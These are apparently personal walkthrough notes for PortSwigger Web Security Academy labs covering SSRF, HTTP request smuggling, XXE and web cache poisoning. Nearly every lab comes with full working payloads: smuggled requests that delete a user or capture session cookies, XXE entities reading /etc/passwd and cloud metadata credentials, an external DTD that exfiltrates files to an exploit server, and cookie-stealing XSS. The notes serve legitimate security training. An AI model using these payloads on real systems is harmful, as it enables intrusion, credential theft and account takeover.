Initial payload stockApi=%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1. We cant just directly put stockApi=http://192.168.0.12:8080/admin because application blocks it. Observe the “Next product” button on same page: https://0ac8004b031ca21080dba38f00c800b8.web-security-academy.net/product/nextProduct?currentProductId=1&path=/product?productId=2. We can control the redirect path to whatever we want. We leverage this in our initial POST request to do an redirect internally to the admin path.

Simply put the URL path into the stockApi parameter POST request. Submit with /delete?username=carlos, boom lab solved.

Lab: Blind SSRF with out-of-band detection

GET /product?productId=1 HTTP/2
Host: 0a3500bd0397bebf81484e5e00b80070.web-security-academy.net
Cookie: session=DTvyNzx7pABHWhvV6cUDulheuvKgyW5T
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://fl4o0aupoovsu0bodu7iczjrrix9l0co1.oastify.com
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

Bruh just change the referer to the Collaborator URL, send and lab solved lol. Why is this Practitioner…

HTTP request smuggling

Lab: HTTP request smuggling, basic CL.TE vulnerability

POST / HTTP/1.1
Host: 0a43002303856ced802d2b8800e9007d.web-security-academy.net
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Referer: https://portswigger.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Content-Length: 8
Transfer-Encoding: chunked

0

GPOST

Very important that the Content_length is 8. Count each character, including every \n. For some reason Burp adds 2 to whatever length you have. Disable the Update-Content_length option in Burp repeater. Make sure to also switch to HTTP/1 under right menu, Inspector, Request attributes.

Lab: HTTP request smuggling, basic TE.CL vulnerability

Oh boy. This one is difficult to understand. Lets try to break it down.

POST / HTTP/1.1
Host: 0acb008b0325e6aa80b7762f00a4007d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5c\r\n
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n
\r\n

MAKE SURE TO INCLUDE THOSE 2 CARRIAGE RETURNS AND NEWLINES at end of request!!!. Toggle Hide non printable characters option in repeater to show all non printable chars like newlines. This payload also works. You send the request twice:

POST / HTTP/1.1
Host: 0acb008b0325e6aa80b7762f00a4007d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

56\r\n
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 6\r\n
\r\n
0\r\n
\r\n

It also works with Content-Length=0:

POST / HTTP/1.1
Host: 0acc000b03845452853494780059005b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
\r\n
97\r\n
GPOST / HTTP/1.1
Host: 0acc000b03845452853494780059005b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
\r\n
0\r\n
\r\n

Lets think about this. The frontend uses chunked encoding, so it reads the 97 in hex and sends the following data to backend:

97\r\n
GPOST / HTTP/1.1
Host: 0acc000b03845452853494780059005b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
\r\n
0\r\n
\r\n

Now the backend uses content length, so it readings the first 4 bytes of data, removing the 97\r\n. The following is considered a new request:

GPOST / HTTP/1.1
Host: 0acc000b03845452853494780059005b.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
\r\n
0\r\n
\r\n

When the next request is sent, this is processed. The content length is zero, so the payload is ignored and GPOST is executed.’

Lab: HTTP request smuggling, obfuscating the TE header

POST / HTTP/1.1
Host: 0ad3000c03f2479683ffba4a00360023.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Transfer-Encoding: xchunked
\r\n
0\r\n
\r\n

Sending above request twice results in 0POST. Front end using TE, backend ignoring? Yes thats it. Frontend sees 0, terminates, sends to backend. Backend doesn’t see TE header because its obfuscated, ignores it, and stores 0 in buffer. Next request comes in and we get the 0POST. Ok I figured it out after a bunch of testing:

POST / HTTP/1.1
Host: 0ad3000c03f2479683ffba4a00360023.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: xchunked
\r\n
56\r\n
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
\r\n
0\r\n
\r\n

Here is my interpretation. Frontend receives request, sees the first valid transfer encoding: chunked header, processes payload like a chunked and sends:

56\r\n
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
\r\n
0\r\n
\r\n

to backend. Backend sees an invalid Transfer-Encoding: xchunked, ignores it and sees a valid Content-Length: 4. It processes the first 4 bytes: 56\r\n, then considers the remaining GPOST… as a new request. Im assuming that the front end prioritizes the Transfer-Encoding header, so it doesn’t pick up on the Content-Length header. So framing discrepencies cause this vulnerability. Setting Content-Length to 0 also works because the 2nd request is processed immediately by backend since it has no more data to wait for. This way, 1 request can trigger the exploit.

Lab: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

POST / HTTP/1.1
Host: 0a10001f0459f378812cdfcc008b0037.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Transfer-Encoding: chunked
\r\n
0\r\n
\r\n
GET /i HTTP/1.1\r\n
k:

Remember the Content-Length header doesn’t care about the first \r\n, so we ignore that when calculating the length manually. The end of the request should have no carriage returns or newlines. How this works is the initial request sent to frontend, readings CL header and sends everything to backend. Backend reads TE header, its 0 so it processes nothing. The rest of the request is considered a new request, further requests will append to it.

When we send the POST request again, the first line is appended to the last line in buffer:

GET /i HTTP/1.1\r\n
k: POST / HTTP/1.1
...

This will be considered a new request and processed by backend. Because path DNE, you get HTTP 404.

Lab: HTTP request smuggling, confirming a TE.CL vulnerability via differential responses

POST / HTTP/1.1
Host: 0a9300aa03ad493884d69a0300c9001e.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
\r\n
29\r\n
GET /iia HTTP/1.1\r\n
Content-Length: 9\r\n
\r\n
a\r\n
0\r\n
\r\n

Frontend reads the TE header, 29 in hex so it sends everything to backend. Backend reads the CL header, 4, processes the 29\r\n. The rest of the request is considered a new request:

GET /iia HTTP/1.1\r\n
Content-Length: 9\r\n
\r\n
a\r\n
0\r\n
\r\n

I purposely set the Content-Length to 9 or 1 more than the request body:

a\r\n
0\r\n
\r\n

When the next request comes in, at least 1 byte is appended to the end, so now the backend will process this request. We get HTTP 404 because /iia DNE.

Lab: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability

POST / HTTP/1.1
Host: 0af500e0037e82b880a330b800ff0001.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
Transfer-Encoding: chunked
\r\n
0\r\n
\r\n
GET /admin/delete?username=carlos HTTP/1.1\r\n
X-Forwarded-For: 127.0.0.1\r\n
whatever:

This is working because I get a 401 from backend with message: Admin interface only available to local users. So now we need to bypass this, probably with some X-Forwarded header or something else. If I try to POST /admin, I immediately get HTTP 403 from frontend: Path /admin is blocked. So we are actually bypassing the frontend security. After some experimentation the working payload:

POST / HTTP/1.1
Host: 0af500e0037e82b880a330b800ff0001.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Transfer-Encoding: chunked
\r\n
0\r\n
\r\n
POST /admin/delete?username=carlos HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 7\r\n
\r\n
iojasd

The trick is to use the Host header and set it to localhost. Now you can’t send duplicate request headers, so you need to use a POST inner request and append the next request onto this smuggled request data payload. This will make the request consider only 1 host header and allow you access to the admin panel. Once you get that HTTP 302 found, you have solved the lab!!

Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability

POST / HTTP/1.1
Host: 0a5e00b50489bcc181b2e8ef00a00034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
\r\n
4b\r\n
POST /admin/delete?username=carlos HTTP/1.1\r\n
Content-Length: 16\r\n
\r\n
asidio\r\n
\r\n
0\r\n
\r\n

Exactly like the previous lab, but swapped. Payload above gives HTTP 401, now we need to smuggle in a Host header.

POST / HTTP/1.1
Host: 0a5e00b50489bcc181b2e8ef00a00034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
\r\n
5c\r\n
POST /admin/delete?username=carlos HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 16\r\n
\r\n
asidio\r\n
\r\n
0\r\n
\r\n

Boom, by simply adding a Host header, we can smuggle the request and the backend allows it. Very nice!!

Lab: Exploiting HTTP request smuggling to reveal front-end request rewriting

POST / HTTP/1.1
Host: 0ac100c003eb9055824f20ef00110047.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Transfer-Encoding: chunked
\r\n
0\r\n
\r\n
POST / HTTP/1.1\r\n
Content-Length: 50\r\n
\r\n
search=

This is another CL TE vuln. We abuse the search query to smuggle a request and reveal the HTTP headers. When you send this request twice, the rewritten request gets appended to the data payload and that gets reflected in the response:

0 search results for 'POST / HTTP/1.1
X-fpncjJ-Ip: x.x.x.x'

So we need to add X-fpncjJ-Ip: 127.0.0.1 to the smuggled backend request to delete the user account because external IPs are blocked from accessing admin panel.

POST / HTTP/1.1
Host: 0ac100c003eb9055824f20ef00110047.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
Transfer-Encoding: chunked
\r\n
0\r\n
\r\n
POST /admin/delete?username=carlos HTTP/1.1\r\n
X-fpncjJ-Ip: 127.0.0.1\r\n
Content-Length: 50\r\n
\r\n
search=

Modify it a bit, add the custom header, send and you should get HTTP 302. Lab solved!

Lab: Exploiting HTTP request smuggling to capture other users’ requests

POST / HTTP/1.1
Host: 0a0000dd04fd8c0c83bd0f1f00c900df.web-security-academy.net
Cookie: session=Hv7CzWRKvJecRJPpPqz6gM8Xo1X9us2x
Content-Length: 230
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
\r\n
0\r\n
\r\n
POST /post/comment HTTP/1.1\r\n
Content-Length: 600\r\n
Cookie: session=7RXWyufdA6hN0dQwFPfZAaQ1NY6rgsUx\r\n
Content-Type: application/x-www-form-urlencoded\r\n
\r\n
csrf=AXLKJ0ZXREkyRFaKEFVBMcbUmc5kaB3X&postId=2&name=g&email=a%40b&comment=

Waiting some time and refreshing the page I get:

GET / HTTP/1.1 Host: 0a0000dd04fd8c0c83bd0f1f00c900df.web-security-academy.net sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Linux" upgrade-insecure-requests: 1 user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-fetch-site: none sec-fetch-mode:

Yes! so the victim actually was able to post a comment. Now I just need to expose more of the headers, so lets increase our smuggled Content-Length. Well increasing content to 820 bytes and I get:

cookie: victim-fingerprint=m9lX7A8EY2b8zj9Avqvyn8363ikcTV0D; secret=l0

So lets try using this victim-fingerprint. Ok setting this in chrome dev tools doesn’t do anything. cookie: victim-fingerprint=m9lX7A8EY2b8zj9Avqvyn8363ikcTV0D; secret=l0Qn3MB1O3VrQKw2AY3S7Pj Ok increasing content-length to 841, there seems to be more data. Finally! I guess Burp wants to tease me using these victim-finerprint etc headers. A content-length of 900 returns:

victim-fingerprint=m9lX7A8EY2b8zj9Avqvyn8363ikcTV0D; secret=l0Qn3MB1O3VrQKw2AY3S7PjOjIsA8jdA; session=OQHavZuFczN3RkKODEeDdKJGyfkw84Bc Conten

Change your session cookie to the one above and you are admin.

Lab: Exploiting HTTP request smuggling to deliver reflected XSS

POST / HTTP/1.1
Host: 0afd000c033ccec1811684eb001300de.web-security-academy.net
Cookie: session=cgP7hfquFyQ5SwIKquiuIVGqTE2358Uf
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked
\r\n
0\r\n
\r\n
GET /post?postId=9 HTTP/1.1\r\n
Cookie: session=cgP7hfquFyQ5SwIKquiuIVGqTE2358Uf\r\n
User-Agent: "><script>alert(1)</script>--\r\n
Content-Length: 10\r\n
\r\n
a

Notice how getting a post, the useragent gets reflected in the webpage. This is shown in the page src:

                        <form action="/post/comment" method="POST" enctype="application/x-www-form-urlencoded">
                            <input required type="hidden" name="csrf" value="6rfHHPHRBrukm3b2flQpo4jB42sV4lYy">
                            <input required type="hidden" name="userAgent" value="UR UA HERE">
                            <input required type="hidden" name="postId" value="9">

What we can do is escape out of that useragent input using some quotes: "><script>alert(1)</script>--, ending the input tag and commenting the end of the tag out so we don’t get any errors. You will see its successful when you see this in the output:

                           <input required type="hidden" name="userAgent" value=""><script>alert(1)</script>--">

We ended the input tag and created a new script tag, which will execute on page load. Now we do the same CL TE smuggling of our request. One important thing to remember is you can specify Content-Length regardless of request type. Not just POST can have Content-Length header, any request like GET, HEAD etc can have it. Send and you will solve the lab as soon as user loads the page as that request gets processed.

H2.CL request smuggling

POST / HTTP/2
Host: 0a9e007a0474ba1583cb6592007600f0.web-security-academy.net
Cookie: session=AyzAi8ZnDeEQt6BA6UbiIwQpGwGvAWuH
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

GET /resources HTTP/1.1
Host: exploit-0af700db047eba5683e164e501e800af.exploit-server.net
Content-Length: 5

s

Configure the exploit server properly. Path is /resources, headers is:

HTTP 200
Content-Type: application/javascript; charset=utf-8

Body is: alert(document.cookie)

Very important to not remove the Content-Type header. I removed it because when I viewed the exploit, it was showing the text. I was expecting an alert message or actual js execution. This is not how browsers load js sites though. When you load a js page, you can view the js file directly using the URL, the code is not executed on manual page load. It will be executed when called in the browser automatically.

Now the /resources path was hidden, but if you look at any of the js requests when you load the root page, you will see every request is appended to the root /resources/.... So watch out for that. I spent way too long figuring that out. The goal is to get a HTTP 302 response, so I can redirect users to the exploit server. I was initially trying to use the comment feature as that returned HTTP 301, but that wasn’t the correct approach.

HTTP/2 request smuggling via CRLF injection

POST / HTTP/2
Host: 0a8f002b0371e33d8183e36f00190058.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
F: aiusahd\r\nTransfer-Encoding: chunked
\r\n
0\r\n
\r\n
POST /post/comment HTTP/1.1
Content-Length: 1000
Cookie: session=xBDWYRscf96tLX6V8A1cVsS5cZKzmhO8
\r\n
csrf=P59vL5hktK5mYh4Ak6TlivQOoiakD19o&postId=1&name=aiusdh&email=a@gmail.com&website=&comment=

This header: F: aiusahd\r\nTransfer-Encoding: chunked is critical. You see I added a carriage return after some random data. The front end server actually filters out Transfer-Encoding and Content-Length headers from clients, but doesn’t take into consideration appending headers using carriage returns. So we can sneak in a TE header to the backend using this technique.

When you send with Burp, change headers using the Inspector on right, Request headers, click the right arrow on the relevant header, Shift-Enter between the newlines to create an newline. When you click ok, the request headers in Repeater will disappear on top and you will see HTTP/2 request is kettled. This is correct, send this, wait for user to comment, and then set their session cookie. Make sure to tick Allow HTTP/2 ALPN Override.

Lab: HTTP/2 request splitting via CRLF injection

The root request should have following arbitrary header exactly. You can name it whatever you want:

f\r\n
\r\n
GET /a HTTP/1.1\r\n
Host: 0a46005103cd05d1800e035d00d100b3.web-security-academy.net

DO NOT add a carriage return, line feed to the end of the smuggled host header. The actual request should look something like this:

GET /a HTTP/2
Host: 0a46005103cd05d1800e035d00d100b3.web-security-academy.net
N: f\r\n\r\nGET /a HTTP/1.1\r\nHost: 0a46005103cd05d1800e035d00d100b3.web-security-academy.net\r\n
\r\n

Now you send this request once every 10 seconds, just keep sending until you are successful. Sometimes you get 404 because your the path /a doesn’t exist. Sometimes you get HTTP 200, which is a queue request from another user. You are successful when you receive a 302 found with the admin cookie:

HTTP/2 302 Found
Location: /my-account?id=administrator
Set-Cookie: session=avtYQKUEVXupNzhdjMi0SPJSqjHGIF9C; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

This attack is very cool. What you are doing is poisoning the response payload. Frontend receives 1 request, backend sees 2. Backend responds with 1 request, frontend sends to client. Now that other backend request is put in a queue. So now when a legit user sends a request, their response gets appended to queue and they receive the previous attacker request. Remember queue is FIFO, so attackers previous request is sent first. Now the attacker can send another payload to retrieve the users response.

Lab: Response queue poisoning via H2.TE request smuggling

POST /a HTTP/2
Host: 0a4100f8042ba11083b8699d002b0098.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
\r\n
0\r\n
\r\n
GET /a HTTP/1.1\r\n
Host: 0a4100f8042ba11083b8699d002b0098.web-security-academy.net\r\n
\r\n

VERY IMPORTANT to include 2 carriage return line feeds at end of request or this will not work!! I wasted some time on this. Repeat like previous lab. Keep sending this in 5-10 second intervals until you get:

HTTP/2 302 Found
Location: /my-account?id=administrator
Set-Cookie: session=cnRH4h6iaSMjxN1F4qz0VOtfYp3DcHdR; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Lab: CL.0 request smuggling

Request 1:

POST /resources/labheader/js/labHeader.js HTTP/1.1
Host: 0af6005d04fe7acf836c4b3e00410077.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Connection: keep-alive

GET /admin/delete?username=carlos HTTP/1.1
sdofsd:

Request 2:

GET / HTTP/1.1
Host: 0af6005d04fe7acf836c4b3e00410077.web-security-academy.net
Connection: keep-alive\r\n
\r\n

XML external entity (XXE) injection

Exploiting XXE using external entities to retrieve files

Very easy. Burp intercept the request checker. Send:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

as payload. You will get HTTP 400, but the response will contain /etc/passwd contents.

Exploiting XXE to perform SSRF attacks

Same as previous lab, but change payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Returns:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 552

"Invalid product ID: {
  "Code" : "Success",
  "LastUpdated" : "2025-10-31T16:03:18.042163123Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "39Z4FP84zRkFmKBFRKe9",
  "SecretAccessKey" : "XSYw2Vc2ZXQtgKhnFP2QSH91zxo1LzmoakICSngt",
  "Token" : "8vSf01Cmbzly5DKai5AupGOs4PkqE7mxpPAYlz4RagfkKLbmKX7yBjoNVCmiTzUathprjCTnPh08qOHc4ffinq25rpg0jERAx6sGmmXbSMTZLYlZ51qwOmPyucHSKYcCyLEkxr6y6uwHhTVbbnFIdaBZVgZ6bBCRNidR34AxiPTPpIabQeR7S9Dt9BS7CRCPrtSKPlS7evypjAIJTkd6DAkAEf2NrgtgvVjBPMiaQeuSmZdF4UHJXYNj7gqtO77E",
  "Expiration" : "2031-10-30T16:03:18.042163123Z"
}"

Lab: Exploiting XInclude to retrieve files

Very easy. Set the stock checker payload to:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Will return HTTP 400 with contents of /etc/passwd. Important to add parse="text" or it will not parse the file correctly.

Lab: Exploiting XXE via image file upload

------WebKitFormBoundaryTX2ZfF5kBAl4tika
Content-Disposition: form-data; name="csrf"

tXsnyt7iDFRIoxmhhOq0w5KvyN4eAgc4
------WebKitFormBoundaryTX2ZfF5kBAl4tika
Content-Disposition: form-data; name="postId"

4
------WebKitFormBoundaryTX2ZfF5kBAl4tika
Content-Disposition: form-data; name="comment"

asdoij
------WebKitFormBoundaryTX2ZfF5kBAl4tika
Content-Disposition: form-data; name="name"

oisadjoi
------WebKitFormBoundaryTX2ZfF5kBAl4tika
Content-Disposition: form-data; name="avatar"; filename="j.svg"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg width="800px" height="800px" viewBox="0 0 1024 1024" class="icon"  version="1.1" xmlns="http://www.w3.org/2000/svg">
<text fill="black" font-size="100" x="50" y="100">&xxe;</text></svg>

------WebKitFormBoundaryTX2ZfF5kBAl4tika
Content-Disposition: form-data; name="email"

aoisjdoijo@oasjdoijo
------WebKitFormBoundaryTX2ZfF5kBAl4tika
Content-Disposition: form-data; name="website"


------WebKitFormBoundaryTX2ZfF5kBAl4tika--

The most important part is the avatar portion. Important to give it a random name, but ending in .svg. Now the payload must also include a <svg> header, so I just found some random image online and copied the beginning and end of the file. In the middle add: <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>. This defines a new var xxe and stores the contents of /etc/hostname there.

To retrieve the data, we render a new text in the svg using: <text fill="black" font-size="100" x="50" y="100">&xxe;</text></svg>. Make the font size huge so you can read it and shift the y coordinates down if needed. Go to the post avatar image, you should see the flag to submit: /post/comment/avatars?filename=x.png. YOU MUST include xmlns="http://www.w3.org/2000/svg" or you will get an error.

Lab: Blind XXE with out-of-band interaction

That was easy. Just use burp collaborator and use following payload in the check stock request:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "https://mc2qfi7v0z9pmogi3ch4omjx8oef26qv.oastify.com"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Lab: Blind XXE with out-of-band interaction via XML parameter entities

Easy just use % instead of &. This lab has a filter on the frontend.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://pzst2luyn2ws9r3lqf47bp60vr1ipadz.oastify.com"> %xxe; ]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Exploiting blind XXE to exfiltrate data using a malicious external DTD

Same payload as before, but we host a malicious DTD on our exploit server:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://exploit-0a4c0011046d4401876083b0018800fa.exploit-server.net/exploit"> %xxe; ]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

On exploit server, this is the response body:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'https://<YOUR EXPLOIT URL HERE/exploit>/?x=%file;'>">
%eval;
%exfiltrate;

In access logs you should see:

10.0.4.68       2025-10-31 19:17:25 +0000 "GET /exploit HTTP/1.1" 200 "User-Agent: Java/21.0.1"
10.0.4.68       2025-10-31 19:17:25 +0000 "GET /?x=b17e16957665 HTTP/1.1" 200 "User-Agent: Java/21.0.1"

&#x25 is unicode for % symbol. A good way to bypass filters if they don’t check for it. Submit the flag and done!

Lab: Exploiting blind XXE to retrieve data via error messages

This is the stock check payload, point it to your malicious DMD on the exploit server:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://exploit-0ad300a303f6d46380bf7f3c016e0084.exploit-server.net/exploit"> %xxe; ]>
<stockCheck><productId>2</productId><storeId>1</storeId></stockCheck>

The body of the exploit server contains:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Because it can’t find nonexistent/%file, it will print out /etc/passwd instead. Very interesting.

Web Cache Poisoning

Lab: Web cache poisoning with an unkeyed header

GET / HTTP/2
Host: 0ad000b803006fa981ee43df00ce0048.web-security-academy.net
X-Forwarded-Host: "></script><script>alert(document.cookie)</script>

I simply sent this request. Using X-Forwarded-Host the response gets reflected back in the response via a analytics js file. We first close the existing script tag using "></script>, then we inject our own alert js. When we sent this, it gets cached for 30 seconds, in that time, a victim will visit the homepage and get served our payload.

GET / HTTP/2
Host: 0ac000f0030e196b80f3030b0071009c.web-security-academy.net
Cookie: session="}</script><script>alert(1)</script>; fehost="}</script><script>alert(1)</script>

Both session cookies and fehost cookies seem to be reflected in a variable data in response:

        <script>
            data = {"host":"0ac000f0030e196b80f3030b0071009c.web-security-academy.net","path":"/","frontend":""}</script><script>alert(1)</script>"}
        </script>

So what I did was similar to previous lab. First, you end the existing script tag and close the bracket, then append your own script.

Lab: Web cache poisoning with multiple headers

GET /resources/js/tracking.js HTTP/2
Host: 0ab10094047780f582bf57e9006e0001.web-security-academy.net
X-Forwarded-Scheme: http
X-Forwarded-Host: exploit-0ac900bd04658018821756bb01dc0097.exploit-server.net

This responds with:

HTTP/2 302 Found
Location: https://exploit-0ac900bd04658018821756bb01dc0097.exploit-server.net/resources/js/tracking.js
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 0

Now we poisoned the cache. I noticed that the tracking.js file can be poisoned and is loaded everytime on root page. Now on exploit server we change our path to /resources/js/tracking.js with payload alert(document.cookie). Now we wait for the victim to visit the homepage.

Lab: Targeted web cache poisoning using an unknown header

Vary is a response header. In this lab I see Vary: User-Agent. So we need to get the victims user agent in order to cache their specific response. Then they will receive the poisoned cache. We post a comment with img src: <img src="https://exploit-0a840025035372b7803ed96001700045.exploit-server.net/exploit"> to obtain their user agent after victim views our comment. We can look in the access logs for this one.

10.0.3.114 2025-11-10 17:07:19 +0000 "GET /exploit HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" We see an entry and that is our victim’s user account. All further requests must use this UA to poison the victim’s cache.

Install the Param Miner BApp extension and use it to Guess Headers for the root endpoint to find any unkeyed headers. Like previous lab, our goal is to poison this for the victim, so their tracking.js is controlled by us. In the scanner logs we see: Found unlinked param: x-host~%h:%s.

GET / HTTP/1.1
Host: 0a6800a603f872588078da31002d00c0.h1-web-security-academy.net
User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
X-Host: exploit-0a840025035372b7803ed96001700045.exploit-server.net

Send above to victim with same payload in exploit server: alert(document.cookie). This will poison the tracking.js js file, so when the user loads it, it will execute alert.

Lab: Web cache poisoning via an unkeyed query string

GET / HTTP/2
Host: 0abb004a04abe15780bc7b9600990034.web-security-academy.net
Pragma: x-get-cache-key
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=35
Age: 7
X-Cache-Key: /$$
X-Cache: hit
Content-Length: 8081

What the hell is /$$? Ok very interesting. After a lot of messing around, I noticed that adding Origin header allowed to bypass the cache. This is called a cache buster.

GET /?'><script>alert(1)</script>// HTTP/2
Host: 0a1500d403a2d3ac8217cbfd00c5000f.web-security-academy.net

When I send above request, the output gets reflected in the response:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=35
Age: 2
X-Cache: hit
Content-Length: 8458

<!DOCTYPE html>
<html>
    <head>
        <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
        <link href=/resources/css/labsBlog.css rel=stylesheet>
        <link rel="canonical" href='//0a1500d403a2d3ac8217cbfd00c5000f.web-security-academy.net/?'><script>alert(1)</script>//'/>

We keep sending these requests until the X-Cache says hit. Initially, it will be on miss. If the response doesn’t get cached. Put in the Origin header as a cache buster, then remove the header and send it a couple times. Eventually the home page gets poisoned and when the victim visits the page, they get served the poisoned response. Very interesting lab.

Lab: Web cache poisoning via an unkeyed query parameter

Running param miner Guess query parameters found Identified parameter on 0ad700e003a946c180fc0d6b00fb0015.web-security-academy.net: utm_content. So we can use the param: utm_content.

Exact same as previous lab:

GET /?utm_content='><script>alert(1)</script>// HTTP/2
Host: 0ad700e003a946c180fc0d6b00fb0015.web-security-academy.net

We use Origin header as cache buster. So when we see X-Cache: hit without our reflected response, we add an arbitrary Origin header. Send that request ONCE only, remove it, then send it again multiple times. This will poison the home page. You might need to do this a couple times. When the user visits the homepage, they get served the payload. I think I get what unkeyed means. Basically this param gets cached no matter what, its a special param that always gets cached and served to anyone with that root url.

Lab: Parameter cloaking

This one was a bit confusing. I am also tired, so brain isn’t fully on. I eventually solved it, but was poking at the wrong thing for a couple hours. I was trying to escape a HTML tag to get CE, but that didn’t work no matter what. So I had to change my approach:

